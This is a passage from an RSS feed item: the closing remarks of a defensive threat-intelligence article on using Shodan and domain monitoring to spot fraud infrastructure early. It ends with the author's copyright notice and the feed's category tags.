&lt;p&gt;From a defensive perspective, the two most effective fronts remain &lt;strong&gt;user education&lt;/strong&gt;, especially around the mechanics of this type of fraud, and &lt;strong&gt;proactive monitoring&lt;/strong&gt; of domains and certificates to identify suspicious infrastructure before it is actively used. From a threat hunting perspective, &lt;strong&gt;Shodan&lt;/strong&gt; remains a significantly underused tool in Italian SOCs. With the right queries and a structured correlation method, it is possible to identify criminal infrastructure during the &lt;strong&gt;setup phase&lt;/strong&gt;, before campaigns are launched.&lt;/p&gt;

&lt;p&gt;If you work in &lt;strong&gt;blue team&lt;/strong&gt; or &lt;strong&gt;threat intelligence&lt;/strong&gt; and want to compare methodology or queries, the comments are open.&lt;/p&gt;

&lt;p&gt;-&lt;/p&gt;

&lt;p&gt;© 2026 Marco Altomare. All rights reserved.&lt;/p&gt;

&lt;p&gt;The contents of this article, including but not limited to: texts and analysis, the &lt;strong&gt;kill chain reconstructions&lt;/strong&gt;, &lt;strong&gt;OSINT analyses&lt;/strong&gt; and correlation methodologies; technical contributions, the &lt;strong&gt;Python scripts&lt;/strong&gt;, the &lt;strong&gt;Elasticsearch (ES|QL) queries&lt;/strong&gt; and the &lt;strong&gt;Shodan search strategies&lt;/strong&gt;; graphic elaborations, comparison tables of tools and structural diagrams; are the exclusive intellectual property of the author, Marco Altomare, except where otherwise specified or where trademarks belong to their respective owners (e.g., Shodan, Elasticsearch).&lt;/p&gt;

&lt;p&gt;Any reproduction, distribution, modification, publication, or commercial use of the material, even in part or in summary form, without the prior written consent of the author, is strictly prohibited.&lt;/p&gt;

&lt;p&gt;Citation or sharing for research or informational purposes is permitted only on the condition that the original attribution is maintained and a direct link to the source is included. Any abuse or unauthorized use that violates copyright will be prosecuted under the law.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>osint</category>
      <category>infosec</category>
      <category>threatintel</category>
    </item>
  </channel>
</rss>
